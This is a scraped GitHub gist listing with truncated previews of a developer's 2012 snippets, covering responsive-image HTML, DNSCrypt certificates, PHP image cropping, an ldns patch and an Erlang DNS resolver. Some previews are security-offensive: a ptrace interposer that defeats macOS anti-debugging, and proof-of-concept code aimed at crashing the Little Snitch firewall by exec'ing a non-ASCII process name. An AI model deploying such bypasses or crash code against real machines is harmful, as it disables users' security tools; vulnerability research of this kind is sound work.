Skip to content

Instantly share code, notes, and snippets.

View jedisct1's full-sized avatar

Frank Denis jedisct1

View GitHub Profile
@jedisct1
jedisct1 / 2012.html
Created September 1, 2012 01:59
2012
<div data-picture data-alt="A giant stone face at The Bayon temple in Angkor Thom, Cambodia">
<div data-src="small.jpg"></div>
<div data-src="small.jpg" data-media="(min-device-pixel-ratio: 2.0)"></div>
<div data-src="medium.jpg" data-media="(min-width: 400px)"></div>
<div data-src="medium_x2.jpg" data-media="(min-width: 400px) and (min-device-pixel-ratio: 2.0)"></div>
<div data-src="large.jpg" data-media="(min-width: 800px)"></div>
<div data-src="large_x2.jpg" data-media="(min-width: 800px) and (min-device-pixel-ratio: 2.0)"></div>
<div data-src="extralarge.jpg" data-media="(min-width: 1000px)"></div>
<div data-src="extralarge_x2.jpg" data-media="(min-width: 1000px) and (min-device-pixel-ratio: 2.0)"></div>
@jedisct1
jedisct1 / certs.txt
Created September 5, 2012 18:30
New OpenDNS dnscrypt certs
* Record for nsd:
2.dnscrypt-cert 86400 IN TXT "DNSC\000\001\000\000g\156\154\185\236\231VZ\162\011mQB\135\015]3\181B\176f\199\245\002}\209\029\177Tp\190\222\216@\008bA\2364\092>6\204\158\226\156\248s\250[;\148A\204\175\233\006\219\014\011\176\224\243\002b(b\166\202M\241\2327\167\196\134Of\230\146\011^4\248\177\016Y}[\160\186\182\175\003\250uq6fnvWj9PH\246FPH\246FQ9\1866"
* Record for tinydns:
'2.dnscrypt-cert:\104\116\123\103\000\001\000\000\147\234\232\271\354\347\126\132\242\013\155\121\102\207\017\135\063\265\102\260\146\307\365\002\175\321\035\261\124\160\276\336\330\100\010\142\101\354\064\134\076\066\314\236\342\234\370\163\372\133\073\224\101\314\257\351\006\333\016\013\260\340\363\002\142\050\142\246\312\115\361\350\067\247\304\206\117\146\346\222\013\136\064\370\261\020\131\175\133\240\272\266\257\003\372\165\161\066\146\156\166\127\152\071\120\110\366\106\120\110\366\106\121\071\272\066:86400
@jedisct1
jedisct1 / class.image_auto_crop.inc.php
Created October 4, 2012 03:06
Image auto cropping
<?php
namespace Spot;
define('USE_GDLIB', FALSE);
class ImageAutoCrop {
protected static function get_line_contrast($img, $y) {
$contrast = 0;
$x = 0;
@jedisct1
jedisct1 / class.image_auto_crop.inc.php
Created October 4, 2012 03:06
Image auto cropping
<?php
namespace Spot;
define('USE_GDLIB', FALSE);
class ImageAutoCrop {
protected static function get_line_contrast($img, $y) {
$contrast = 0;
$x = 0;
<?php
namespace Spot;
define('USE_ADAPTATIVE_CROP', FALSE);
define('JUST_DISTORT_AND_FORGET', TRUE);
use \Spot\ImageAutoCrop;
class MediaUtils {
@jedisct1
jedisct1 / ptrace-interposing.c
Created October 4, 2012 20:19
ptrace interposing
#include <sys/types.h>
#include <sys/ptrace.h>
int ptrace_interposed(int request, pid_t pid, caddr_t addr, int data)
{
return 0;
}
const struct { void *hook_func; void *real_func; }
interposers[] __attribute__ ((section("__DATA, __interpose"))) = {
@jedisct1
jedisct1 / ldns-socklen_t.diff
Created October 9, 2012 07:59
ldns headers should define socklen_t if required
Index: configure.ac
===================================================================
--- configure.ac (revision 3751)
+++ configure.ac (working copy)
@@ -449,6 +449,11 @@
fi
ACX_TYPE_SOCKLEN_T
+if test "x$ac_cv_type_socklen_t" = xyes; then
+ AC_SUBST(ldns_build_config_have_socklen_t, 1)
@jedisct1
jedisct1 / snitchy-overdose.c
Created October 10, 2012 03:32
Running Little Snitch? Have fun.
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <inttypes.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
@jedisct1
jedisct1 / little-crash.c
Created October 10, 2012 04:10
Little Snitch, little vulnerability?
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
const char *name = "\x80"; // any char >= 0x80 will work
rename(argv[0], name);
execl(name, name, NULL);
@jedisct1
jedisct1 / massresolver.erl
Created October 17, 2012 06:14
massresolver
-module(massresolver).
-export([init/1, worker_init/0, get_best_pid/1, collector_init/1, run/1]).
get_best_pid(Group) ->
Members = pg2:get_members(Group),
Members1 = lists:map(fun(Pid) ->
[{message_queue_len, Messages}] =
erlang:process_info(Pid, [message_queue_len]),
{Pid, Messages}
end, Members),